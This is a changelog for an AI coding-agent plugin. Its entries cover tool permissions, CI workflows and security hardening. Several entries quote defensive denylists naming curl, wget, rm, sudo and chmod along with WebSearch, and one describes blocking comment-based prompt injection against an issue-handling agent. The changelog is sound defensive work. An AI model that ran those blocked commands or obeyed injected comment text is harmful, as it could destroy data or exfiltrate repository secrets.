Add a disallowedTools: denylist to plugins/ievo/agents/deep-reviewer.md — closes #266 (Eva proposal F-2026-06-29-001). The deep-reviewer agent (dispatched by /ievo:deep-review) is a read-only reviewer that declared only a tools: [Read, Grep] allowlist and no disallowedTools:, a gap versus the security-auditor.md precedent. Because a skill's kebab-case disallowed-tools does not propagate to a Task-tool-dispatched sub-agent (AGENTS.md § Security model), deep-review/SKILL.md's disallowed-tools cannot restrict the dispatched agent — so the agent must self-enforce. The added denylist mirrors security-auditor.md's destructive set (Edit, Bash(rm*|mv*|cp*|curl*|wget*|sudo*|chmod*), WebSearch) and additionally denies Write (the reviewer, unlike the auditor's one signal-file write, never writes). WebSearch is denied for the same exfiltration rationale the auditor cites — a diff under review could carry adversarial content, and web search would open an exfiltration channel. This is defense-in-depth: the agent already only uses Read + Grep in practice, so behaviour is unchanged; the denylist is the guard against a future PR widening tools: (e.g. adding Edit for auto-fixup) silently granting destructive access. The issue's two operator-decision open questions are resolved conservatively: Bash(curl*)/Bash(wget*) are included (aligning with the security-auditor set — the agent has no Bash tool anyway, so the "may need it for referenced-URL fetches" concern is moot); WebFetch is left off (not in the tools: allowlist either, and the auditor keeps it — deferred to the operator). For skill-level parity, deep-review/SKILL.md also gains the matching disallowed-tools denylist (mirroring security-check/vuln-scan, including the WebSearch exfiltration denial) — grounding the AGENTS.md § Security model reference and guarding the skill's own read-only orchestration turn, even though (as above) that kebab-case denylist does not propagate to the dispatched sub-agent. Pure frontmatter addition — no body/script changes, validate_agents.mjs/validate_skills.mjs continue to pass (no new required fields). Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.39.0

Give users on a stale iEvo install a path to notice + update — leaning on what Claude Code already does natively — closes #247. Part 1 (primary, native): README § "Keep iEvo up to date" and /ievo:init's final summary now recommend enabling native plugin auto-update for the ievo-skills marketplace (/plugin → Marketplaces → Enable auto-update), with the managed-settings "autoUpdate": true on the extraKnownMarketplaces entry for team installs. Third-party marketplaces default auto-update OFF (verified against the plugins docs, 2026-07-02), so this is the highest-leverage fix — once on, Claude Code updates iEvo at startup and prompts /reload-plugins. The /ievo:update summary line is also relabeled "update vendored skills/agents" to disambiguate it from plugin auto-update. Part 2 (additive fallback): /ievo:hooks-setup gains an optional SessionStart version-check nudge (new Step 5.7) for users who deliberately keep auto-update off. It writes a fail-silent .ievo/hooks/scripts/version-check.sh that reads the installed version from the plugin's plugin.json, compares it against plugins[0].version in the marketplace manifest on main, and injects a one-line hookSpecificOutput.additionalContext nudge only when behind. SessionStart is context-only (verified against the hooks reference — it cannot block or delay startup); the script throttles the network call to ≤once/24h via ~/.cache/ievo/version-check.json (cache-hit path is fully offline), does a portable awk semver compare (no sort -V), and bakes the plugin.json path at setup time because a user-settings.json hook has no CLAUDE_PLUGIN_ROOT. Docs + skill-body change plus the four-file version bump — no plugins/ievo/scripts/ scripts touched, so the 100% coverage gate is unaffected. Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.37.0

Document /rewind as a lighter same-session alternative in handoff/SKILL.md — closes #265 (Eva proposal F-2026-06-29-002). Claude Code v2.1.191 (2026-06-24) added /rewind, which restores a conversation to its pre-/clear state in the same session (verified verbatim against the v2.1.191 GitHub release notes: "Added /rewind support for resuming a conversation from before /clear was run"). The skill previously differentiated itself only from /compact, leaving a gap: a user who accidentally ran /clear might reach for /ievo:handoff — which cannot recover the current session's lost context, since it capsules the now-cleared state into a NEW session. Adds a "When not to use — lighter alternatives" table right after the "When to use" section, routing the accidental-/clear case to /rewind, the deep-but-same-session case to /compact, and the branch/parallelize/new-session case to /ievo:handoff. Doc-only change to the skill body — no scripts touched, so the 100% coverage gate is unaffected. Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.36.0

Add disable-model-invocation: true to init and deep-review — closes #270 (Eva proposal F-2026-06-30-003, narrowed in review). These heavyweight skills dispatch parallel sub-agents, so unintended auto-activation on description match carries real token and time cost. Setting disable-model-invocation: true makes them user-invoke only: the model can no longer trigger them from a natural-language description match, and (Claude Code v2.1.196+, verified against the official skills.md frontmatter reference) a scheduled task can no longer fire them when the skill is the task's prompt. Explicit /ievo:<name> invocation is unaffected. The proposal's other two candidates — vuln-scan and security-check — were EXCLUDED during PR review: both are loaded programmatically by sub-agents (vuln-scanner invokes Skill("ievo:vuln-scan") for its per-module worker instructions; security-auditor applies security-check via the skills system), and a Skill-tool call is a model invocation the flag suppresses — setting it there would break both pipelines. AGENTS.md § Skills format now documents disable-model-invocation as a supported optional field, including the v2.1.196 scheduled-task behavior and the do-not-set-on-agent-loaded-skills rule. Frontmatter + docs change — no scripts touched, so the 100% coverage gate is unaffected. Version bump per AGENTS.md rules (edits plugin files under plugins/ievo/**).

---

v0.35.0

Document the Notification hook in hooks-setup/SKILL.md — closes #281 (member-authored re-file of Eva proposal #278). Claude Code v2.1.198 added background-agent notifications for claude agents sessions: a session that needs input or finishes now fires the Notification hook with matcher agent_needs_input / agent_completed (verified verbatim against the v2.1.198 GitHub release notes). Adds a new "Step 5.6" subsection after the Step 5.5 Stop-hook flow — matcher-value table, a worked desktop-notification example that surfaces the actionable agent_needs_input case (sound + "action needed" title) more prominently than the informational agent_completed case (silent banner), macOS osascript + Linux notify-send -u critical/-u low variants, and a merge/dedup-by-matcher step for hooks.Notification[]. An explicit scope note draws the distinction the issue asked for: Step 5.5 covers Task-tool sub-agents dispatched within one session (read-side Stop-hook polling that can't separate "still running" from "blocked waiting on input"), while Step 5.6 covers separate claude agents background sessions (per-transition Notification hook that can). The compatibility frontmatter gains a v2.1.198+ clause and ## References gains the v2.1.198 release-notes link. Doc-only change to the skill body + frontmatter — no scripts touched, so the 100% coverage gate is unaffected.

---

v0.34.0

validate_skills.mjs parity with validate_agents.mjs — closes #258. ALLOWED_MODELS in the SKILL.md linter now accepts fable alongside sonnet/opus/haiku/inherit, mirroring the v0.21.0 change to the agent validator. The two model: error messages (model-vendor-locked + model-not-allowed) were both rewritten — the trailing "Skills should not declare model preferences" sentence was accurate before v0.32.0 but became misleading once turn-level pins like model: sonnet on security-check / vuln-scan / deep-review became an intentional pattern. New wording: "Use only vendor-neutral family aliases for turn-level pins; omit model: for skills without pinning needs." Pure allowlist widening — nothing that previously passed will now fail. The three existing model: sonnet security-tier pins were intentionally left as-is per the routing discussion.

---

v0.33.0

Codex marketplace as a second discovery source in discover.mjs — closes #196. When the codex CLI is present, discover.mjs now also reads its marketplace catalog (codex plugin list --json → available[], the uninstalled-plugins list) and merges those plugins into the candidate pool alongside skills.sh results. They flow through the same dedup + ranker (by id) and carry source_origin: codex-marketplace. Codex plugins expose no install metric, so the ranker gives them a visibility floor (≈ a 10-install skill) — enough to surface mid-pack rather than be sliced off by --limit, low enough that any 100+ install skills.sh skill still outranks them (visible, never dominant). The source is fully optional: absent codex binary, non-zero exit, or unparseable output → silently skipped, so Claude Code-only users see no behaviour change and the universal positioning is preserved. The sources[] array in the output now carries a per-origin entry (skills.sh + codex-marketplace with available/raw_results/error), and every candidate gains a source_origin field. Note: the discovery command is codex plugin list, NOT codex plugin marketplace (the latter manages marketplace configs, not plugins) — the original proposal's command was corrected during implementation. The codex call uses async execFile (not spawnSync) and runs concurrently with the skills.sh queries (Promise.all), so a slow/hung codex never blocks the event loop or adds to wall-clock time. Codex candidates are tagged quality_tier: "unranked" (no install count → install-based tiers don't apply). Full 100/100/100 coverage on the new fetchCodexMarketplace / defaultCodexExec paths (injectable execImpl for deterministic testing). init SKILL.md Step 5 + log-format §5 updated to document the new source.

---

v0.32.0

Security hardening of the iEvo security tooling — closes #179, #221, #226, #198. (1) model: sonnet turn-pin added to security-check, vuln-scan, and deep-review SKILL.md so a direct invocation forces the audit/scan turn to Sonnet (Haiku misses indirection attacks) — a per-turn override (verified against the skills docs: reverts on the next prompt), complementing the agent-frontmatter routing for the dispatched path. (2) WebSearch added to the disallowed-tools of security-check/vuln-scan — it now works in sub-agents (CC v2.1.183) and a scan must never web-search about its target (exfiltration surface). (3) security-auditor.md hardened with a disallowedTools denylist (camelCase, per sub-agent frontmatter) — Edit + destructive Bash (rm/mv/cp/curl/wget/sudo/chmod) + WebSearch. Write is intentionally kept (the auditor's only file write is the RED-only .ievo/hooks/security-red lifecycle signal in its Step 6); WebFetch is kept for skills.sh signals. Skill-level disallowed-tools does NOT propagate to Task-dispatched sub-agents, so the agent self-enforces. (4) Added Point 11 — Leaked secrets in the diff to the deep-reviewer 11-point checklist (API-key prefixes, private-key material, credential assignments, committed dotenv — placeholders excluded). All four frontmatter facts verified against official Claude Code docs before shipping. (Sibling proposal #212 — domain-restricted WebFetch(domain:*) — parked: that syntax is not a documented Claude Code feature; would need a PreToolUse hook.)

v0.31.0

Document the cross-platform migration path (Claude Code ↔ Codex) — closes #244. iEvo's .ievo/ state (evolution overlays, repo index, config) is already platform-agnostic plain files on the shared filesystem, but there was no documented way to move between the two platforms iEvo supports. Adds a README "Migrating from Claude Code → Codex" section (use Codex /import v0.140.0+ for the platform config; .ievo/ overlays transfer automatically; skip a fresh /ievo:init) plus a migration check in init/SKILL.md Step 2 that detects pre-existing .ievo/evolution/ overlays, preserves them, and tells the user the state is already active. Directly serves iEvo's universal/cross-platform positioning.

---

v0.30.0

Comment-triggered workflows now drop an immediate 👀 reaction (from the iEvo App) on the triggering comment. issue-discussion.yml (@ievo-ai mention), issue-handler.yml (/implement), and fix-command.yml (/fix) each add the reaction right after minting the App token — before the minutes-long research/implementation run posts anything — so the operator gets instant confirmation the bot picked the comment up instead of wondering whether anything triggered. The reaction step is non-fatal (a failed reaction never aborts the run) and uses github.event.comment.id via env (no untrusted input in the shell).

v0.29.0

Harden issue-handler.md against comment-based prompt injection. The /implement handler reads the issue's comment thread, and previously treated non-author comments as "informational context" — meaning external comment text still reached the model. Now it fetches each comment's authorAssociation and ignores the body of any comment from a non-member author (NONE/CONTRIBUTOR/etc.) entirely — untrusted external data, never read as context, requirements, or instructions. Authoritative input is the issue body (a member vouched for it via /implement) plus member/owner comments and the verified discussion-bot analysis. The existing member/owner trigger gate + privilege ceiling already made the surface narrow; this closes the residual at the prompt layer.

v0.28.0

Split init/SKILL.md (951 lines, ~190% of the agentskills.io ≤500-line recommendation — the flagship orchestrator and the only spec-violating skill) into progressive-disclosure references. Moved provably-static content out of the body — the seven run-log output templates (→ references/log-format.md), the manifest + category lookup tables (→ references/reference-tables.md), the rare RED-verdict report-to-source flow (→ references/security-report-flow.md), and the Step 9 install mechanics (→ references/install-protocol.md) — while keeping ALL happy-path execution, decision points, and the inline "log section N NOW — do not defer" cues in the body (the cues were deliberate anti-skip emphasis; only the verbose templates moved). Body now 638 lines (−33%). Note: literal ≤500 was not pursued — reaching it requires relocating execution-coupled instructions (interview shapes, permission logic) behind references, which would make the issue's own motivating case (a context-pressured agent skipping the load) WORSE; 638 is the floor before that trade. Closes #172.

v0.27.0

Fix the issue-discussion trigger handle: @ievo -> @ievo-ai. @ievo is not our handle (it is a squat-able/foreign GitHub username); ours is the ievo-ai org. The issue-discussion.yml trigger matched @ievo (which works only as an accidental substring of @ievo-ai), and the docs/prompt instructed mentioning @ievo — every such mention pinged a foreign user instead of us. Updated the trigger condition, the workflow header comments, AGENTS.md Phase-1 docs, and the handler prompt to use @ievo-ai. Behavioural change: the discussion bot now triggers on @ievo-ai, not bare @ievo.

v0.26.0

Add notify-release.yml — on merge to main with a plugin version change, announce the new ievo-ai/skills release to the iEvo community Telegram via a cross-repo repository_dispatch(child-release) into ievo-ai/eva (which owns the Telegram token; this public repo never holds it). Mirrors eva's documented cross-repo announce design; the merged==true guard lives here at the dispatch source. The (untrusted) PR title is JSON-escaped via jq --arg. Closes the gap where skills releases shipped silently while eva merges notified.

v0.25.0

Add effort: frontmatter validation to validate_agents.mjs (parity with validate_skills.mjs, which already validates the field). effort: overrides the session effort level for a sub-agent (values: low/medium/high/xhigh/max); a mistyped value (effort: medium-high, effort: fast) silently does nothing at runtime and previously passed validation. The validator now errors on an invalid value. Scoped deliberately to validate-if-present (an absent effort: is fine), mirroring how this script already treats model: — rather than warning on absent like validate_skills.mjs, which would emit persistent non-actionable warnings on every agent file and require changing the script's exit semantics. Exports VALID_EFFORT_VALUES + checkEffortField(). 100% coverage maintained. Partially addresses #163 (the invalid-value gap; the optional absent-nudge is left for when effort: is added to agent files).

---

v0.24.0

Document the complete set of model-bypass vectors in AGENTS.md § Security model. The section previously covered only CLAUDE_CODE_SUBAGENT_MODEL; three more settings can silently route security-auditor below its Sonnet-tier minimum: availableModels (the only hard enforcement — a managed allowlist excluding Sonnet silently drops model: sonnet to the inherited model; subagent overrides covered since v2.1.172), enforceAvailableModels (v2.1.175, locks the picker Default to the allowlist), and fallbackModel (v2.1.166, availability fallback that can degrade a scan mid-run when Sonnet is rate-limited). Adds a verified mechanism/effect/mitigation table with the operator-side guarantee (managed availableModels must include sonnet/opus). All facts verified against the official model-config docs (2026-06-27). Closes #238, #180, #195, #197.

---

v0.23.0

Add the upstream check-merge-conflict hook (pre-commit/pre-commit-hooks rev: v6.0.0) to .pre-commit-config.yaml. The config previously had no guard against leftover merge-conflict markers (<<<<<<< / ======= / >>>>>>>) reaching a commit — a real gap surfaced while landing the v0.20–v0.22 version-chain, which required several manual rebase conflict resolutions. Configured with --assume-in-merge so it fires after rebase resolutions too (git rebase does not set MERGE_HEAD), not only git merge conflicts. Runs in both the local hook and the pre-commit-gate.yml CI, so it cannot be bypassed with --no-verify. No script, skill, or workflow logic changed.

---

v0.22.0

Fix AGENTS.md tree diagram to include commands/vuln-scan.md — the Glasswing-inspired /ievo:vuln-scan orchestrator command (phases 1-4, parallel sub-agents) was present in the filesystem but missing from the directory listing. AI agents reading AGENTS.md would not discover this command. No behaviour change — documentation correction only.

---

v0.21.0

Add fable as a vendor-neutral model alias to validate_agents.mjs. Claude Fable 5 (Claude Code v2.1.170, June 2026) is the Mythos-class model now generally available. Agent files using model: fable would fail the vendor-neutrality validator before this change — now fable is recognized as a first-class family alias alongside sonnet, opus, haiku, and inherit. Updates AGENTS.md § Allowed values list. Closes #191.

---

v0.20.0

Fix stale roadmap version target and compliance ledger version reference in AGENTS.md. The roadmap entry that read **v0.7.0** — cortex A/B validation gate for evolutions; GitHub search source in discover.mjs was never shipped and main has long since surpassed v0.7.0. Replaces the version pin with **planned** and adds a parenthetical noting the original target. The compliance ledger header read v0.19.0; bumped to v0.20.0 to track the current shipped version. No functional change to any script, skill, or workflow.

---

v0.19.0

Attribute automation commits to the iEvo GitHub App bot instead of the default Claude bot identity. The issue-handler, review-fixer, and /fix workflows already push as the App (the push token is what triggers downstream CI), but the commit author still surfaced the generic bot. Passing the App bot's identity to claude-code-action aligns the commit author with the pusher, so implementation and review-fix commits are now consistently attributed to the iEvo App. No behavioural change to the pipelines; commit signing (Verified badge) is out of scope.

---

v0.17.0

Fix stale "seven validators" count in AGENTS.md pre-commit section. The count was introduced when there were 6 validators in .github/scripts/validators/ plus validate_agents.mjs re-used from plugins/ievo/scripts/ (total 7). When validate_skills.mjs was later re-used as an eighth validator the prose was not updated. The section now reads "Eight validators enforce quality — six in .github/scripts/validators/ and two re-used from plugins/ievo/scripts/" which matches the actual validator inventory. No functional change.

---

v0.15.0

Standalone conflict resolver workflow (conflict-resolver.yml). When main advances and open handler PRs become DIRTY (merge conflicts prevent CI from running), this workflow auto-rebases them onto latest main. Resolves .github/prompts/*.md conflicts by taking main's version; escalates non-infrastructure conflicts to a PR comment for operator review. Triggers on push to main, every 6 hours as safety net, and via manual workflow dispatch. No LLM needed — pure git operations. Closes #145.

v0.14.0

Handler posts decision-log comments to PR thread during implementation. New Phase 4b.6 (research summary after Phase 2), Phase 4c.5 (key design trade-offs after Phase 4c), and Phase 4d.5 (test strategy after Phase 4d) — each posts a concise "Handler decision log" comment to the PR thread. The review-fixer reads these comments for implementation context, ensuring fixes align with the handler's intent. Improves audit trail and handoff to fixer/operator. Closes #147.

v0.13.0

Two-phase issue lifecycle: @ievo discussion + /implement trigger. New issue-discussion.yml workflow triggers when an org member mentions @ievo in an issue comment — Claude does deep codebase research and posts a structured analysis (Understanding, Approach, Questions, Conflicts, Risks) without creating branches or modifying files. The existing issue-handler.yml now triggers on /implement comments instead of issues: opened/reopened, and validates the discussion thread before implementing. Discussion phase is optional — /implement works without prior @ievo discussion. Closes #153.

v0.12.0

Add effort: field validation to validate_skills.mjs. All 13 iEvo SKILL.md files declare effort: (added in v0.6.24) and Claude Code v2.1.149+ renders it in the status bar, making it user-facing UI. The validator now warns on absent effort: (severity: warning, does not fail CI) and errors on invalid values (severity: error, fails CI). Valid values: low, medium, high, xhigh, max. Also introduces warning-vs-error severity distinction in the main() exit logic — warnings no longer cause exit 1, only errors do. Exports VALID_EFFORT_VALUES set and checkEffortField() function for reuse. Closes #141.

Add disallowed-tools frontmatter to security-check/SKILL.md and vuln-scan/SKILL.md for read-only enforcement during security assessments. Claude Code v2.1.152 introduced disallowed-tools in skill frontmatter, allowing skills to explicitly block specific tools during execution. The security-check skill now blocks Write, Edit, Bash(rm*), Bash(mv*), Bash(cp*), Bash(curl*), and Bash(wget*); the vuln-scan skill blocks the same set. This is defense-in-depth: the sub-agents already declare limited tools: allowlists, but the skill-level wrapper previously had no such restriction. Closes #139.

v0.10.0

New /ievo:inspect skill — pre-install structured summary of a remote skill/plugin repo. Fetches the repo tree and key file frontmatter via gh api, then renders a human-readable capability overview (skills, agents, commands, scripts, hooks, MCP servers, aggregate permission footprint) without triggering discovery, security scan, or install. Read-only, pure SKILL.md (no scripts, no coverage obligation). Closes #67.

v0.9.0

Add yaml-frontmatter.mjs pre-commit validator to catch YAML frontmatter syntax errors before they reach production. Detects unquoted values containing : (colon-space), unterminated quoted strings, duplicate keys, flow indicator characters, and inline comment ambiguity. For SKILL.md files, also validates required fields (name, description) and description length. Motivated by PR #122 where 5 SKILL.md files had Codex-breaking unquoted colons that survived all existing validators. Includes comprehensive test suite (60 tests). Closes #119.

0.7.0 (2026-05-25)

Features

• add --help flag to discover.mjs (v0.6.23) (1ddb550)
• add --help flag to discover.mjs (v0.6.23) (ffd9b2f), closes #81
• add /ievo:feedback skill + init feedback prompt (0.1.8) (8dc52b6)
• add /ievo:feedback skill + init feedback prompt (0.1.8) (09ba858)
• add /ievo:schedule skill — guided Routine wizard (v0.6.24) (dd593e5)
• add /ievo:schedule skill for periodic Routine creation (v0.6.24) (a20906e), closes #84
• add effort: frontmatter to all 9 SKILL.md files (v0.6.24) (59f1f8b)
• add effort: frontmatter to all 9 SKILL.md files (v0.6.24) (0d713f8), closes #83
• add marketplace.json — make repo installable as plugin marketplace (f5aa4e2)
• auto-translate feedback to English before submit (0.1.11) (ee625d2)
• auto-translate feedback to English before submit (0.1.11) (fbdca37)
• automated version bumping via release-please (4983e09)
• automated version bumping via release-please (0c10aac)
• deep stack/deps scan + agents awareness + consolidated search (0.1.6) (2a5c53e)
• deep stack/deps scan + agents awareness + consolidated search (0.1.6) (f6e605d)
• feedback quality gate + per-skill rejection reasons (0.1.10) (5d7f62d)
• feedback quality gate + per-skill rejection reasons (0.1.10) (991ada1)
• full multi-stack manifest coverage (0.1.7) (7aa62ec)
• full multi-stack manifest coverage (0.1.7) (75b1c65)
• generic sub-type disambiguation registry (0.1.12) (54c2981)
• generic sub-type disambiguation registry (0.1.12) — closes #11 (0144a0a)
• incremental log writes during init (0.2.4) (263252b)
• incremental log writes during init (0.2.4) (8f4df44)
• per-run diagnostic logging in .ievo/log/ + feedback log attach (0.1.13) (a365950)
• per-run diagnostic logging in .ievo/log/ + feedback log attach (0.1.13) (323b0fb)
• prompt + auto-add Bash permissions on init start (0.2.3) (92ea322)
• prompt + auto-add Bash permissions on init start (0.2.3) (d8f4fd6)
• scaffold iEvo plugin v0.1.0 (268667d)
• user-level target handling in evolution (0.2.1) (3317eec)
• user-level target handling in evolution (0.2.1) (a4c1261)
• v0.2.0 — full pipeline with index-repos, security-check, overlay model (6235b52)
• v0.2.0 — pipeline + index-repos + security-check + overlay evolution (cfc06c0)
• v0.3.0 — checkout-based indexing (no more rate limits) (6b0f5b5)
• v0.3.0 — checkout-based indexing (no more rate limits) (ccbf36f)
• v0.3.1 — parallel repo indexing via sub-agents (a5e5228)
• v0.3.1 — parallel repo indexing via sub-agents (5a03aad)
• v0.3.3 — Codex support (.codex-plugin/marketplace.json) (c695d7a)
• v0.3.3 — Codex support via .codex-plugin/marketplace.json (2df8699)
• v0.3.4 — extract scanner to Python script (single source of truth) (5892307)
• v0.3.4 — extract scanner to Python script (single source of truth) (ece5412)
• version banner + mandatory verbose logging (0.2.2) (d161d1f)
• version banner + mandatory verbose logging (0.2.2) (ea8e4d6)

Bug Fixes

• add delimiter collision guard comment per code review (9fc340e)
• add schedule skill to AGENTS.md directory listing (42c78cf)
• add stale-listing pre-validation in init (0.1.9) (7576845)
• address code review findings on schedule skill (af5c175)
• address review findings on version-bump automation (c21955d)
• address round-2 review findings (51a9bb7)
• allow ievo-eva[bot] in claude-code-review allowed_bots (6b3f3d2)
• allow ievo-eva[bot] in claude-code-review allowed_bots (6f589f0)
• bulletproof version banner — Read tool, no inference (0.2.6) (efda230)
• bulletproof version banner — Read tool, no inference (0.2.6) (857ecce)
• claude-review findings on PR #54 (ccf620f)
• claude-review findings on PR #55 (53b16b8)
• collision error message — drop misleading remediation hint (54c6412)
• deduplicate init skill suggestions + bump 0.1.5 (05923ac)
• deduplicate init skill suggestions + bump 0.1.5 (aa398a6)
• drop non-schema 'url' field from owner/author + bump 0.1.2 (d0fc986)
• explicit no-pause directive + per-repo checkpoint (0.2.5) (3823d4a)
• explicit no-pause directive + per-repo checkpoint (0.2.5) (00ff37d)
• extract issue-handler prompt to separate file (v0.6.22) (8b27f9a)
• extract issue-handler prompt to separate file (v0.6.22) (aa99921), closes #78 #79
• nested-fences message uses outerLabel for untagged outer fences (5eab1d1)
• Pass 4 broader probes + soft-fail (0.1.14) (b5ee60a)
• Pass 4 broader probes + soft-fail (keep on uncertain) — 0.1.14 (098db45)
• pre-validate skill existence to drop stale skills.sh listings (0.1.9) (2904696)
• remove non-schema 'url' field from owner/author + bump 0.1.2 (9e7b4c8)
• repo-indexer on sonnet, not haiku (0.3.2) (bc92251)
• repo-indexer on sonnet, not haiku (0.3.2) (4503510)
• repository field must be string + bump 0.1.4 (a2c8a27)
• repository field must be string, not object + bump 0.1.4 (9f4cd49)
• restore GH_TOKEN comment + add delimiter collision guard (2aa6412)
• restructure plugin into ./plugins/ievo/ (compat with older Claude Code versions) (659426f)
• restructure plugin into ./plugins/ievo/ subdirectory (e617a60)

v0.6.24

Add effort: frontmatter field to all 9 SKILL.md files, enabling Claude Code's status-bar effort display (fixed in v2.1.149). Values: max for init (full 6-stage pipeline), high for security-check (deep reasoning scan), medium for index-repos (repo filesystem scan), low for the remaining 6 skills (hooks-setup, overlay-status, evolution, feedback, debug-on, debug-off). Frontmatter-only change — no skill body content or script logic modified. Closes #83.

v0.6.23

discover.mjs gains a --help flag that prints brief usage text and exits 0. Parsed before other argv (works without --stack-file or stdin), mirroring the v0.6.20 --version flag pattern. Useful for operators who need a quick reference of available flags and input modes without reading source. Closes #81.

v0.6.22

Extracts the issue-handler's inline prompt (30KB, 600 lines) from the workflow YAML into .github/prompts/issue-handler.md and loads it via env var at runtime. The v0.6.21 changes nearly doubled the workflow file size (24KB to 46KB), which caused GitHub's workflow-file parser to reject it — the handler silently stopped firing on new issues. The workflow YAML drops from 773 lines (46KB) to 149 lines (7.4KB). Prompt content is unchanged; only the delivery mechanism changed. Verified by creating test issues #78 and #79 which both failed to trigger the handler before this fix.

v0.6.21

Hardening pass on the v0.6.16 issue-handler.yml workflow — closes the autonomy gaps surfaced by the v0.6.20 cycle (PR #75 needed three human interventions: hotfix-restore-id-token v0.6.17, hotfix-allowlist-bot v0.6.19, manual rebase from v0.6.18 → v0.6.20 when main moved underneath). Phase 4f now queries main's current version at push time (not branch time) + scans open PRs for in-flight version claims to pick the next free slot atomically. Phase 4f.5 is new — mandatory CHANGELOG.md entry per the convention. Phase 4h now wraps push in a rebase loop (up to 3 attempts): if main moved while Phase 1-4 ran, auto-rebase + auto-resolve version-file conflicts only (escalates to issue thread on any non-version conflict — won't blindly resolve code conflicts). Phase 5 gains a 2.5 step that greps the claude-review run log for known structural failure patterns (Bad credentials, Workflow validation failed, non-human actor, OIDC fetch fail, App token exchange fail) and auto-retriggers via close+reopen without counting the round against the 3-attempt budget. Phase 5 also gains a 2.6 step that detects DIRTY/CONFLICTING PRs (no CI fires on those — GitHub Actions skips pull_request events when the PR can't merge cleanly) and re-runs the Phase 4h rebase loop to recover. Net result: future handler runs should be able to ship a clean PR end-to-end on their own across the realistic edge cases (parallel PRs, main moves, action-side flakes) instead of stalling silently and waiting for a human.

v0.6.20

discover.mjs gains a --version flag that prints SCRIPT_VERSION and exits 0 (short-circuits before stdin/parseArgs so it works even without --stack-file). Useful for operators verifying which version of the script ships with their installed plugin — common need when debugging stale-version-coupling failures.

This PR was the first feature autonomously generated by the v0.6.16 issue-handler workflow (PR #75, response to issue #74). The handler did the implementation + tests + 4-file version bump on its own; humans intervened only to (a) ship the v0.6.17 / v0.6.19 hotfixes that unblocked the workflow itself, (b) rebase the branch when main moved during the handler's run (this PR was originally v0.6.18, bumped to v0.6.20 after v0.6.19 landed first), (c) add this CHANGELOG entry that the handler's Phase 4 prompt didn't yet include (gap to be closed in v0.6.21).

v0.6.19

Hotfix companion to v0.6.16/v0.6.17: enable claude[bot] PRs to pass through claude-code-review.yml. The issue-handler workflow (v0.6.16) opens PRs as the claude[bot] App actor; claude-code-action defaults to rejecting bot actors with "Workflow initiated by non-human actor" before the review runs. Phase 5 of the handler's review-loop could never get a verdict to iterate on — first observed on PR #75 (the v0.6.18 handler-generated PR for issue #74), workflow run 26360560927. Added allowed_bots: 'claude[bot]' to claude-code-review.yml — narrow allowlist (not '*') preserves the gate against arbitrary other bots while letting the org App through. Detailed comment block in the workflow points future maintainers at the failed run + the issue-handler dependency, so a git blame walk surfaces the rationale.

(v0.6.18 itself is the auto-generated --version flag from PR #75, still pending merge as of this entry. Once that merges, the chain v0.6.17 → v0.6.18 → v0.6.19 will be contiguous.)

v0.6.17

Hotfix on v0.6.16's issue-handler.yml: restored id-token: write to the workflow's permissions block. The earlier rounds had stripped it on the assumption that actions/create-github-app-token@v1 (the only OIDC-named consumer in the workflow source) doesn't need it — which is true for that action, but NOT for anthropics/claude-code-action@v1 itself, which runs its own OIDC token exchange internally as part of startup. The first live test run on issue #72 failed immediately with Unable to get ACTIONS_ID_TOKEN_REQUEST_URL before any agent code executed. Added a detailed comment block documenting the requirement + linking to the failed run so a future maintainer doesn't repeat the strip-on-assumption mistake.

v0.6.16

Closes #65 with new issue-handler.yml workflow: when a new GitHub issue opens, Claude (Opus) performs deep research and either closes the issue with explanation or implements a fix/feature PR with full test coverage. After PR creation, monitors claude-code-review and iterates on feedback (max 3 rounds) until green; never auto-merges (human must merge).

Safety rails: bot-loop prevention catches any *[bot] login generically (not just one well-known account name), scope lock (agent prompt confines edits to plugins/ievo/), authenticates via a GitHub App so PRs trigger downstream workflows. Privilege ceiling: only the minimum write permissions for the use case (contents / issues / pull-requests); deliberately no broader scopes.

Originally filed against the v0.6.12 baseline as PR #66; rebased onto v0.6.15 main and bumped to v0.6.16 (v0.6.14 slot was overtaken by v0.6.15 landing first via PR #70). 5 rounds of claude-review feedback applied — security: indirect-prompt-injection accepted-risk documented with mitigation enumeration, Bash in --allowedTools justified (no structured-tool equivalent for git ops), App credentials passed via step-level env: rather than JSON-interpolated into action settings; correctness: poll-loop case-normalized via ascii_upcase, gh pr create URL parsed into a PR number, poll budget reduced to fit inside the job wall clock with room for implementation work, last.state over .[0].state for rerun safety, exhaustion comment posted to BOTH issue + PR threads, sticky-comment endpoint correctly used.

v0.6.15

Operational hygiene: extracted shipped-version history out of AGENTS.md into this CHANGELOG.md. Rationale — AGENTS.md is a contract for AI agents working on the repo and should describe current conventions; the chronological history is reference material that grows unbounded and dilutes the convention surface. Added a convention rule in AGENTS.md § Key conventions that all future shipped-version entries go here, not in AGENTS.md. The forward roadmap (v0.7.0 / v1.0) stays in AGENTS.md § Roadmap because it's a contract about what's coming, not a record of what shipped.

Reconciled the older AGENTS.md § Version bumping section (which said "touch two files") with the new four-file checklist so both rule blocks agree. Updated README.md § Roadmap to point at CHANGELOG.md for shipped-version history (it had frozen at v0.6.9 (current)) and aligned the v0.7.0 scope wording between AGENTS.md and README.md.

v0.6.13

Spec compliance fix: hooks-setup/SKILL.md compatibility field trimmed from 537 chars to 412 chars — now within the agentskills.io spec limit of 500 chars (compatibility: ≤500 explicitly documented in the spec May 2026). Caught by Eva audit run 26354909799. Closes the gap surfaced in ievo-ai/skills#68 (validate_skills.mjs proposal, filed same run).

v0.6.12

Eva proposal #61 applied. New /ievo:overlay-status skill reads .ievo/evolution/, groups overlays by scope (Project / agents / skills) matching evolution/SKILL.md's actual layout (project.md flat file at the evolution root + agents/<name>.md + skills/<name>.md subdirs), and emits a structured per-file summary with last-modified date — closing the self-documented "Standalone 'list installed iEvo overlays' command" gap that coverage-audit.md flagged in v0.6.8. Read-only (never modifies overlay files); pure Read + Glob enumeration + a single stat invocation for mtime via Bash(stat*) permission declared in frontmatter allowed-tools; cross-platform on the agentskills.io standard (POSIX hosts get mtime + 180-day stale-overlay warning; Windows hosts without POSIX shell omit dates with a footer note). Honours the agent legibility principle from DenisSergeevitch/agents-best-practices: captured overlays are load-bearing for iEvo behaviour and were previously invisible until manually grepped. coverage-audit.md gap row flipped to covered; minimum file set includes the new skill. Credit: @ievo-eva for the proposal + the legibility-citation chain.

v0.6.11

